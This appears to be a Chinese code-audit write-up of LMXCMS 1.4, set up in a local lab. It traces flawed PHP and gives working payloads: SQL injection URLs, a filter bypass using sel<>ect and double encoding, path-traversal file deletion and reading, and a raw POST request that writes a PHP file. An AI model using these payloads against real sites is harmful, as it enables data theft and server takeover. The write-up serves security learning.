梦想cms1.4代码审计

这篇具有很好参考价值的文章主要介绍了梦想cms1.4代码审计。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

一、环境搭建

二、代码审计

1、后台漏洞 

(1)BookAction.class.php

(2)BackdbAction.class.php任意文件删除

(3)file.class.php任意文件读(写)漏洞

2、前台漏洞

(1)TagsAction.class.php

(2)BookAction.class.php


一、环境搭建

这里选择的是phpstudy搭建的

源码下载:http://www.lmxcms.com/down/xitong/

下载的是1.4版本,虽然是很早的版本了,但是主要是学习代码审计。

安装一下。

梦想cms1.4代码审计

注意这里的php版本不能太高,我用7.3.4版本会报错,改成5.x就可以了

梦想cms1.4代码审计

梦想cms1.4代码审计

数据库需要提前创建

create DATABASE lmxcms;

数据库用户名密码是你自己的,没改的话基本上都是这个

梦想cms1.4代码审计

 安装完成。

梦想cms1.4代码审计

二、代码审计

 phpstorm打开源码,

梦想cms1.4代码审计

是一个mc架构

1、后台漏洞 

(1)BookAction.class.php

打开c\admin\BookAction.class.php,网址对应的就是/admin.php?m=book&a=index

梦想cms1.4代码审计

先看这一部分

public function reply(){
        $id = $_GET['id'] ? $_GET['id'] : $_POST['id'];
        //获取回复数据
        $reply = $this->bookModel->getReply(array($id));
        if($reply){
            $reply = string::html_char($reply[0]['content']);
            $this->smarty->assign('content',$reply);
            $this->smarty->assign('type','update');
        }else{
            $this->smarty->assign('type','add');
        }
        if(isset($_POST['reply'])){
            if(!$_POST['content']){
                rewrite::js_back('回复内容不能为空');
            }
            $this->bookModel->reply(array('id'=>$id,'type'=>$_POST['type'],'username'=>$this->username));
            addlog('留言回复【id:'.$_POST['id'].'】');
            rewrite::succ('修改成功','?m=Book');
        }
        $this->smarty->assign('id',$id);
        $this->smarty->display('Book/reply.html');
    }

 可以看到传入了一个参数,然后调用了getReply函数,跟进一下

public function getReply(array $id){
        $id = implode(',',$id);
        $param['where'] = 'uid in('.$id.')';
        return parent::selectModel($param);
    }

其中implode() 函数返回一个由数组元素组合成的字符串。跟进selectModel函数

protected function selectModel($param=array()){
       if($param['field']){
           $this->field=$param['field'];
       }
       return parent::selectDB($this->tab['0'],$this->field,$param);
    }

再跟进selectDB函数

protected function selectDB($tab,Array $field,$param=array()){
        $arr = array();
        $field = implode(',',$field);
        $force = '';
        //强制进入某个索引
        if($param['force']) $force = ' force index('.$param['force'].')';
        if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';
        $sqlStr = $this->where($param);
        $sql="SELECT $field FROM ".DB_PRE."$tab$force $sqlStr";
        $result=$this->query($sql);
        while(!!$a=mysql_fetch_assoc($result)){
            $arr[]=$a;
        }
        $this->result($result);
        return $arr;
    }

这里我们可以看到他将我们输入的直接拼接到select语句里面了,相当于底层没有进行一个过滤,那么你的所有防御只能靠上层去加,如果有疏漏就会产生漏洞。

这里我们进行一个调试,在sql语句下面加一个echo。

梦想cms1.4代码审计

然后我们传一个参数看看

http://192.168.10.128/lmxcms1.4/admin.php?m=book&a=reply&id=1

 注意这里要把a的参数值改为reply,即我们最开始的那个函数名

梦想cms1.4代码审计

可以看到有回显,我们写一个简单的报错注入

http://192.168.10.128/lmxcms1.4/admin.php?m=book&a=reply&id=1) or updatexml(1,concat(0x7e,version()),1)%23

梦想cms1.4代码审计

版本显示出来了。

(2)BackdbAction.class.php任意文件删除

private function delOne($filename){
        $dir = ROOT_PATH.'file/back/'.$filename;
        file::unLink($dir);
    }

非常简单的一个任意文件删除漏洞,虽然这里的unlink函数自定义的,但是依旧是用来php的unlink函数

public static function unLink($path){
        if($path == ROOT_PATH) return;
        if(is_file($path)){
            if(!@unlink($path)) rewrite::js_back('删除文件失败,请检查'.$path.'文件权限');
            return true;
        }
    }

往上跟,看哪里用了这个delOne函数

public function delbackdb(){
        $filename = trim($_GET['filename']);
        if(!$filename){
            rewrite::js_back('备份文件不存在');
        }
        $this->delOne($filename);
        addlog('删除数据库备份文件');
        rewrite::succ('删除成功');
    }

在根目录下新建一个1.txt文件

梦想cms1.4代码审计

http://localhost/lmxcms1.4/admin.php?m=backdb&a=delbackdb&filename=../../1.txt

访问后文件删除

(3)file.class.php任意文件读(写)漏洞

源码位于class\file.class.php

public static function getcon($path){
        if(is_file($path)){
            if(!$content = file_get_contents($path)){
                rewrite::js_back('请检查【'.$path.'】是否有读取权限');
            }else{
                return $content;
            }
        }else{
            rewrite::js_back('请检查【'.$path.'】文件是否存在');
        }
    }

这里自定义了一个getcon函数,里面有file_get_contents函数,并且没有进行过滤,全局搜索一下哪里使用了getcon函数,发现在TemplateAction.class.php里面有使用

public function editfile(){
        $dir = $_GET['dir'];
        //保存修改
        if(isset($_POST['settemcontent'])){
            if($this->config['template_edit']){
                rewrite::js_back('系统设置禁止修改模板文件');
            }
            file::put($this->config['template'].$dir.'/'.$_POST['filename'],string::stripslashes($_POST['temcontent']));
            addlog('修改模板文件'.$this->config['template'].$dir);
            rewrite::succ('修改成功','?m=Template&a=opendir&dir='.$dir);
            exit();
        }
        $pathinfo = pathinfo($dir);
        //获取文件内容
        $content = string::html_char(file::getcon($this->config['template'].$dir));
        $this->smarty->assign('filename',$pathinfo['basename']);
        $this->smarty->assign('temcontent',$content);
        $this->smarty->assign('dir',dirname($_GET['dir']));
        $this->smarty->display('Template/temedit.html');
    }

而且还有一个put函数,跟进后发现是一个写入函数且没有做过滤,所以应该也存在任意文件写入漏洞

public static function put($path,$data){
        if(file_put_contents($path,$data) === false)
            rewrite::js_back('请检查【'.$path.'】是否有读写权限');
    }
http://localhost/lmxcms1.4/admin.php?m=template&a=editfile&dir=../index.php

梦想cms1.4代码审计

然后是任意文件写入

POST /lmxcms1.4/admin.php?m=template&a=editfile&dir=../ HTTP/1.1
Host: 192.168.10.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=hj49pcad45kalidvtjv3p717u7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

settemcontent=1&filename=a.php&temcontent=<?php phpinfo()?>

然后访问

梦想cms1.4代码审计

成功写入

2、前台漏洞

(1)TagsAction.class.php

毕竟渗透的流程是先前台注入拿到后台密码再去后台getshell,所以前台漏洞是很重要的。

前台的代码是在c\index下的,我们打开c\index\TagsAction.class.php

<?php 
defined('LMXCMS') or exit();
class TagsAction extends HomeAction{
    private $data;
    private $tagsModel = null;
    public function __construct() {
        parent::__construct();
        $data = p(2,1,1);
        $name = string::delHtml($data['name']);
        if(!$name) _404();
        $name = urldecode($name);
        if($this->tagsModel == null) $this->tagsModel = new TagsModel();
        $this->data = $this->tagsModel->getNameData($name);
        if(!$this->data) _404();
    }
    
    public function index(){
        $temModel = new parse($this->smarty,$this->config);
        echo $temModel->tags($this->data,$this->tagsModel);
    }
}
?>

我们可以看到他自定义了一个p函数,跟进一下

/* 验证表单数据
 * $type 1:post数据,2:get数据 否则为$type
 * $pe 是否转义
 * $sql 是否验证sql非法字符
 * $mysql 是否验证mysql保留字符
 */
function p($type=1,$pe=false,$sql=false,$mysql=false){
    if($type == 1){
        $data = $_POST;
    }else if($type == 2){
        $data = $_GET;
    }else{
        $data = $type;
    }
    if($sql) filter_sql($data);
    if($mysql) mysql_retain($data);
    foreach($data as $k => $v){
        if(is_array($v)){
            $newdata[$k] = p($v,$pe,$sql,$mysql);
        }else{
            if($pe){
                $newdata[$k] = string::addslashes($v);
            }else{
                $newdata[$k] = trim($v);
            }
        }
    }
    return $newdata;
}

这里提示我们过滤了sql注入,跟进filter_sql函数

//过滤非法提交信息,防止sql注入
function filter_sql(array $data){
    foreach($data as $v){
        if(is_array($v)){
            filter_sql($v);
        }else{
            //转换小写
            $v = strtolower($v);
            if(preg_match('/count|create|delete|select|update|use|drop|insert|info|from/',$v)){
                rewrite::js_back('【'.$v.'】数据非法');
            }
        }
    }
}

可以看到一个黑名单,不允许使用这些方法,这导致大部分查询都用不了了,那么我们就要从外部绕过p函数,如果从里面绕过这些比较麻烦。

再看p函数下面的delHtml,这个是过滤掉html标签的函数,那么我们就可以传入一个sel<>ect,这样就可以绕过p函数,且在delHtml函数中将<>去掉变成select。

这里我们试一下可不可以

首先跟进getNameData函数,一直跟到底,

protected function oneDB($tab,Array $field,Array $param){
        $field = implode(',',$field);
        $force = '';
        //强制进入某个索引
        if($param['force']) $force = ' force index('.$param['force'].')';
        if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';
        $We = $this->where($param);
        $sql="SELECT ".$field." FROM ".DB_PRE."$tab$force $We limit 1";
        echo $sql;
        $result=$this->query($sql);
        $data = mysql_fetch_assoc($result);
        return $data ? $data : array();
    }

在这里加个echo $sql;

然后我们用burp suite抓一下包

/lmxcms1.4/index.php?m=Tags&name=a

梦想cms1.4代码审计

我们尝试单引号能不能闭合

 梦想cms1.4代码审计

可以看到被转义了,这是因为p函数的原因,我们再尝试select

梦想cms1.4代码审计

看到提示数据非法,那我们试一下sel<>ect

梦想cms1.4代码审计

看到成功绕过

之后再看下面有个urldecode,他将我们的语句进行了一次url解码,所以我们可以先将我们的语句进行两次url编码就可以绕过了,因为它本身要进行一次url解码

梦想cms1.4代码审计

 梦想cms1.4代码审计

成功注入,这个就有点像ctf的考点了 

(2)BookAction.class.php

 进入c\index\BookAction.class.php

public function index(){
        if(isset($_POST['setbook'])){//提交留言
            $data = $this->checkData();
            if($this->bookModel->add($data)){
                $this->setBookTime(); //存储提交时间
                rewrite::succ($this->l['book_ok']);
            }else{
                rewrite::error($this->l['book_error']);
            }
        }

看到一个post传参,然后跟进checkData函数

private function checkData(){
        $arr['name'] = '';
        $arr['content'] = '';
        $arr['mail'] = '';
        $arr['tel'] = '';
        $arr['ip'] = getip();
        //验证短时间内过多留言
        if($this->bookModel->is_ip($arr['ip'],$this->config['book_out_time']) >= $this->config['book_out_time_num']){
            rewrite::error($this->l['book_outtime']);
        }
        $this->bookTime(); //验证提交间隔时间
        $data = p(1,1,1); //验证前台数据
        $data = array_merge($arr,$data);
        if(!$data['name']) rewrite::js_back($this->l['book_name_must']);
        if(!$data['content']) rewrite::js_back($this->l['book_content_must']);
        //过滤html代码
        foreach($data as $k => $v){
            $data[$k] = string::delHtml($v); 
        }
        unset($data['setbook']);
        return $data;
    }

一堆参数,然后就是p函数

再看下面的add方法

public function add($data){
        $data['time'] = time();
        return parent::addModel($data);
    }

addModel函数就是一个sql查询语句,直接跟到底

protected function addDB($tab,$data){
        foreach($data as $key=>$v){
           $field[]=$key;
           $value[]="'$v'";
        }
        $field = implode(',',$field);
        $value = implode(",",$value);
        $sql="INSERT INTO ".DB_PRE."$tab($field) VALUES($value)";
        echo $sql;
        $this->query($sql);
        return mysql_insert_id();
    }

依旧在这里把sql语句打印出来,用burp suite传一下

POST /lmxcms1.4/index.php?m=book HTTP/1.1
Host: 192.168.10.128
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=fqieraqhgsfnul7hnv8a8t89t0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

setbook=a&name=b&content=c&mail=d&tel=e

梦想cms1.4代码审计

看到这是一个insert语句,但是在checkData函数里面可以知道我们传入的先经过p函数检验,再经过delHtml函数,虽然可以通关尖括号绕过p函数,但是没有办法进行单引号闭合,所以值这里没有办法注入。

但是addDB函数中插入sql语句的有两个地方,一个是field,一个是value,往上看知道data键值对的值被单引号包裹了,而key没有,所以注入点在key

protected function addDB($tab,$data){
        foreach($data as $key=>$v){
           $field[]=$key;
           $value[]="'$v'";
        }
        $field = implode(',',$field);
        $value = implode(",",$value);
        $sql="INSERT INTO ".DB_PRE."$tab($field) VALUES($value)";
        echo $sql;
        $this->query($sql);
        return mysql_insert_id();
    }

 跟到p函数里面也可以看到

function p($type=1,$pe=false,$sql=false,$mysql=false){
    if($type == 1){
        $data = $_POST;
    }else if($type == 2){
        $data = $_GET;
    }else{
        $data = $type;
    }
    if($sql) filter_sql($data);
    if($mysql) mysql_retain($data);
    foreach($data as $k => $v){
        if(is_array($v)){
            $newdata[$k] = p($v,$pe,$sql,$mysql);
        }else{
            if($pe){
                $newdata[$k] = string::addslashes($v);
            }else{
                $newdata[$k] = trim($v);
            }
        }
    }
    return $newdata;
}

它只对值进行了过滤并没有对key进行过滤

加入一个键值对进行注入

setbook=a&name=b&content=c&mail=d&tel=e&time)values(1,2,3,4,5,6)#=f

梦想cms1.4代码审计

看到没有报错,是注入成功的,但是怎么有回显呢?(其实这里也可以用报错注入)

 将db.class.php里面的echo $sql;全部注释掉,访问

http://localhost/lmxcms1.4/index.php?m=book

如果不注释会导致页面不正常

梦想cms1.4代码审计

发现有内容,但是我们注入的并没有出现,直接去MySQL里查 

梦想cms1.4代码审计

发现我们之前的内容在里面,知道确实注入成功了,然后还看到一个ischeck,之前在页面中回显出来的ischeck值都为1,所以我们也可以加一个ischeck

setbook=a&name=b&content=c&mail=d&tel=e&time,ischeck)values(1,database(),3,4,5,6,1)#=f

 然后刷新页面

梦想cms1.4代码审计文章来源地址https://www.toymoban.com/news/detail-470705.html

到了这里,关于梦想cms1.4代码审计的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Maven环境搭建及Maven部分目录分析

    Maven 本身就是⼀套由 Java 开发的软件,所以 Maven 的运⾏需要依赖 JDK 环境。在安装 Maven 之前请 确认JDK 是否配置正确(主要依赖 JAVA_HOME 环境变量)。如果没有正确安装和配置 JDK ,则运⾏ Maven 时 会出现以下错误信息:          The JAVA_HOME environment variable is not defined correct

    2024年01月20日
    浏览(38)
  • 对于织梦CMS各目录内文件的说明详解

    鉴于很多新手朋友不知道织梦很多目录和文件具体有何作用,而现互联网亦没有相对全面的dedecms文件目录解说,so,小编在相对全面的基础上整理了以下目录文件。 以下一些目录对应的文件和代表的含义均是在相对详细下完成的,如若有错误请联系我们指出。了解织梦文件目

    2024年02月02日
    浏览(51)
  • 【代码审计篇】 代码审计工具Fortify基本用法详解

    本篇文章讲解代码审计工具Fortify的基本用法,感兴趣的小伙伴可以研究学习一下,文中部分地方可能会有遗漏,麻烦各位大佬指正,深表感谢!!! Fortify全名叫 Fortify SCA ,是惠普公司HP的出品的一款源代码安全测试工具,这家公司也出品过另一款Web漏洞扫描器,叫做 Webin

    2024年02月05日
    浏览(41)
  • 【代码审计-.NET】基于.NET框架开发的代码审计

      博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章)。 殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。 擅长:对

    2024年02月04日
    浏览(43)
  • 代码审计-java项目-组件漏洞审计

    代码审计必备知识点: 1、代码审计开始前准备: 环境搭建使用,工具插件安装使用,掌握各种漏洞原理及利用,代码开发类知识点。 2、代码审计前信息收集: 审计目标的程序名,版本,当前环境(系统,中间件,脚本语言等信息),各种插件等。 3、代码审计挖掘漏洞根本: 可控

    2024年02月12日
    浏览(40)
  • 代码审计-审计工具介绍-DAST+SAST+IAST项目

    DAST: 动态应用程序安全测试( Dynamic  Application Security Testing)技术在测试或运行阶段分析应用程序的动态运行状态。它模拟黑客行为对应用程序进行动态攻击,分析应用程序的反应,从而确定该Web应用是否易受攻击。 SAST: 静态应用程序安全测试( Static  Application Securi

    2024年02月12日
    浏览(38)
  • Linux系列:开发环境搭建:ubuntu图形界面安装samba服务器、SSH使用、mount -t cifs 挂载windows共享目录方法与问题解决

    samba一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。 通常linux开发环境要和windows平台进行文件交互,使用samba进行文件夹共享,这样会给开发带来很大的便利性,samba安装很简单,下面介绍一下在ubunt

    2024年02月21日
    浏览(73)
  • 借助AI进行代码审计

    (下面示例代码来自于一款开源VPN源代码,非客户源代码) 最近做代码审计,由于代码量较大,对于一些缺陷涉及到较长的代码片段或复杂的代码时,我会借助AI工具进行分析和确认,的确加快了代码审计的速度。例如利用静态分析工具的扫描结果中有下面缺陷: 当鼠标定位

    2024年01月16日
    浏览(42)
  • 代码审计——XSS详解

    跨站脚本攻击(Cross Site Script)是一种将恶意JavaScript代码插入到其他Web用户页面里执行以达到攻击目的的漏洞。 攻击者利用应用程序的动态展示数据功能,在html页面里嵌入恶意代码。当用户浏览该页之时,这些嵌入在html中的恶意代码会被执行,用户浏览器被攻击者控制,从

    2024年02月10日
    浏览(41)
  • VauditDemo靶场代码审计

    将下载好的 VAuditDemo_Debug 目录复制到 phpstudy 的 www 目录下,然后将其文件名字修改成 VAuditDemo ,当然你也可以修改成其他的 运行phpstudy并且访问install目录下的 install.php ,这里我访问的是 http://127.0.0.1/VAuditDemo/install/install.php 查看以上服务是否支持后点击安装,数据库的默认账

    2024年02月13日
    浏览(33)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包